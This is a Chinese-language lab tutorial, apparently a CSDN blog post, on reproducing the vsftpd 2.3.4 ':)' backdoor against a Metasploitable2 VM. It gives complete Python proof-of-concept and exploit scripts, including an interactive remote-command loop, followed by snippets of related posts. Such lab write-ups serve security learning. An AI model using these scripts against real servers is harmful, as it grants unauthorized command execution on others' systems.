代码编织梦想


一、漏洞介绍

本次攻击的程序为vsftpd2.3.4版本,这个版本出现了一个高危漏洞——当输入的ftp用户名或密码出现连续的:)时,会在本地开启6200端口,当连接这个端口时,输入的任何内容会当作系统命令来执行

二、环境搭建

2.1 镜像下载

这里我用metasploitable2来作为本次攻击的对象(这是一个存在很多漏洞的Linux设备,大家之后也可以对它进行其他攻击),由于官网下载太慢了,我这里提供了百度网盘的连接
https://pan.baidu.com/s/13X7JSUGcF2lR8jS_BvARow
提取码:fgwa

2.2 创建metasploitable虚拟机

将metasploitable下载后解压到一个地方,然后打开VMware,点击打开虚拟机点击"打开虚拟机"
选中解压的文件夹里的.vmx文件,点击打开。将虚拟机的网络适配器调成桥接
虚拟机
打开虚拟机,默认的用户名和密码是msfadmin
在这里插入图片描述
至此,环境搭建完毕


三、制作Poc

3.1 捕捉登录数据包

在上面已经介绍的漏洞的信息,那我们现在就来用Python构造一个登录数据包发送过去

首先打开抓包软件(如果没有可以跳过这步),这里我用kali自带的Wireshark,这是一款非常好用的抓包软件
我们开启两个终端,一个负责抓包,一个负责登录(如果你没有安装kali,可以用cmd)
在这里插入图片描述

在终端输入wireshark,在wireshark界面双击你所使用的网卡(通常,有线是eth0,无线是wlan),我用的是eth0。在这里,我们可以看到很多数据包
在这里插入图片描述
这里过滤一下其他数据包,数据包太多会影响,我们可以在上面的输入框输入ftp,这表示只显示ftp数据包
在这里插入图片描述
在另一个终端输入ftp,然后输入open [靶机IP]
在这里插入图片描述
在这里插入图片描述
回车,然后会显示输入用户名和密码,我们随便输入,比如abc(注意,密码不是不输入,而是不显示)
在这里插入图片描述
返回wireshark查看一下
用户名数据包
在这里插入图片描述
密码数据包
在这里插入图片描述

可以看到,用户名是USER [用户名]\r\n格式,密码是PASS [密码]\r\n格式,这里的\r是回车符\n是换行符,现在我们就用Python实现登录

3.2 Python构造登录数据包

import socket,time #导入所需的socket和time库,socket是一个网络编程库,time是和时间有关的库
"""
这里导入time库的原因是:让目标有足够的时间处理数据,不然还没处理完就发,会出现不准确的现象
"""
s = socket.socket() #创建socket实例这里的s可以改成其他的
target = "192.168.8.152" #目标IP地址
port = 21 #FTP端口
s.connect((target,port)) #连接目标FTP
time.sleep(1) #调用time的sleep函数停顿1秒
login_name = b"USER abc\r\n" #构造用户名,这里必须转换为字节流,在""或''前面加上b即可
login_password = b"PASS abc\r\n" #构造密码
s.send(login_name) #发送登录用户名
time.sleep(1)
s.send(login_password) #发送登录密码
print("发送成功")
s.close() #关闭连接,释放资源

执行完,我们可以去wireshark查看是否成功
在这里插入图片描述
看其中一个就可以了,毕竟都是一样的

3.3 Python制作Poc

我们已经知道如何去构造数据包登录了,那我们就开始制作Poc
我们可以向目标发送一个带有:)的用户名和密码的登录包,然后尝试连接目标的6200端口,可以连接就证明存在漏洞,反之没有(在socket模块里连接失败会报错,所以这里用try/except语句)

import socket, time
s = socket.socket() 
target = "192.168.8.152" 
port = 21 
s.connect((target,port))
time.sleep(1) 
login_name = b"USER abc:)\r\n" 
login_password = b"PASS abc:)\r\n" 
s.send(login_name) 
time.sleep(1)
s.send(login_password) 
print("发送成功")
try:
	a  = socket.socket() #重新创建一个socket实例用于连接6200端口
	a.connect((target,6200))
	print("存在笑脸漏洞") #如果上面连接目标的6200端口不成功会执行except语句,这句不会被执行
except BaseException:
	print("不存在笑脸漏洞")
s.close() 

在这里插入图片描述
Poc做出来了,如果想自定义,可以这样写:

import socket, time
s = socket.socket() 
try:
	target = input("请输入目标IP:")
	port = int(input("请输入目标端口")) #这里将输入的内容转换为int类型
except BaseException:
	print("未知错误!")
s.connect((target,port))
time.sleep(1) 
login_name = b"USER abc:)\r\n" 
login_password = b"PASS abc:)\r\n" 
s.send(login_name) 
time.sleep(1)
s.send(login_password) 
print("发送成功")
try:
	a  = socket.socket() #重新创建一个socket实例用于连接6200端口
	a.connect((target,6200))
	print("存在笑脸漏洞") #如果上面连接目标的6200端口不成功会执行except语句,这句不会被执行
except BaseException:
	print("不存在笑脸漏洞")
s.close() 

在这里插入图片描述

四、制作Exp

4.1 Python制作Exp

比如向对方发送一条查看当前用户的指令:whoami

import socket, time
s = socket.socket() 
try:
	target = input("请输入目标IP:")
	port = int(input("请输入目标端口"))
except BaseException:
	print("未知错误!")
s.connect((target,port))
time.sleep(1) 
login_name = b"USER abc:)\r\n" 
login_password = b"PASS abc:)\r\n" 
s.send(login_name) 
time.sleep(1)
s.send(login_password) 
print("发送成功")
try:
	a  = socket.socket()
	a.connect((target,6200))
	print("存在笑脸漏洞")
	data = b"whoami\n" #必须在末尾添加\n,不然就相当于输入不回车
	a.send(data)
	print(a.recv(1024)) #打印出接受到的消息,这里接受1M消息
except BaseException:
	print("不存在笑脸漏洞")
s.close() 

在这里插入图片描述
这里的返回也是字节流类型,并且也在末尾加上了\n
当然,可以自定义:

import socket, time
s = socket.socket() 
try:
	target = input("请输入目标IP:")
	port = int(input("请输入目标端口"))
except BaseException:
	print("未知错误!")
s.connect((target,port))
time.sleep(1) 
login_name = b"USER abc:)\r\n" 
login_password = b"PASS abc:)\r\n" 
s.send(login_name) 
time.sleep(1)
s.send(login_password) 
print("发送成功")
try:
	a  = socket.socket()
	a.connect((target,6200))
	print("存在笑脸漏洞")
except BaseException:
	print("不存在笑脸漏洞")
try:
	while True:
		command = input("请输入您要执行的命令:")
		command += "\n" #在变量末尾加上\n
		command = bytes(command,encoding="UTF-8") #将变量转换为字节流类型,编码是UTF-8
		a.send(command)
		print(a.recv(1024))
except BaseException:
	print("未知错误!")
s.close() 

在这里插入图片描述
Exp制作完毕,如果执行的是ifconfig或者其他返回值比较长的命令行会出现这个情况:
在这里插入图片描述
凑合着看吧

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/xiaobaihack_doge/article/details/127154635

Vsftpd2.3.4环境搭建-漏洞利用(笑脸漏洞)-爱代码爱编程

一、环境搭建       首先,需要找一个漏洞环境,通过fofa搜索"Vsftpd2.3.4",但是没有找到可以利用的环境,于是搭建环境       安装包在csdn上下载,需要50积分       https://download.csdn.net/download/sinat_32937525/11824028 1.靶机环境是centos7 

笑脸漏洞(VSFTPD2.3.4)复现-爱代码爱编程

笑脸漏洞(VSFTPD2.3.4)复现 漏洞服务:VSFTPD 2.3.4,俗称笑脸漏洞。存在于这个2.3.4版本,属于开发者设计上的失误。在检测到用户名带有特殊字符:)时,会自动打开6200端口。 攻击机:kali linux 靶机:Metasploitable2 复现过程 Nmap扫描同网断的靶机,观察靶机上的服务开放情况:nmap 192.

VSFTPD2.3.4笑脸漏洞复现-爱代码爱编程

笑脸漏洞:该版本的 VSFTPD 存在一个后门漏洞。虽然该问题迅速得到了开发人员的修复及删除,但是仍有不少人已经下载安装了该漏洞版本。这个后门的载荷以 :)字符的形式拼接在用户名上。后门代码绑定的侦听端口是 6200 。 攻击机:kali Linux 靶机:Metaspolitable2 kali和靶机以NAT模式连接   得到自己的IP

VSFTPD v2.3.4 著名笑脸漏洞-爱代码爱编程

VSFTPD v2.3.4 著名笑脸漏洞手工利用 Backdoor Command Execution:因为该版本的 VSFTPD 存在一个后门漏洞。即便该问题很快得到了相关开发人员的修复及删除,但也还是不少人已经下载安装了该漏洞版本。 这个后门的载荷以 :)字符的形式拼接在用户名上。后门代码绑定的侦听端口是 6200。 打开Kali和靶机meta

FTP(匿名登录)未授权访问VSFTPD2.3.4漏洞渗透-爱代码爱编程

1.FTP(匿名登录)未授权访问简介 1.1 FTP协议介绍: FTP是文件传输协议(File Transfer Protocol)的缩写,是在网络上进行文件传输的一套标准协议,使用客户/服务器模式与使用 TCP 传输,属于网络传输协议的应用层,默认使用20、21号两个端口,一个数据端口和一个命令端口,端口20是数据端口,用于文件在客户端和服务器之间传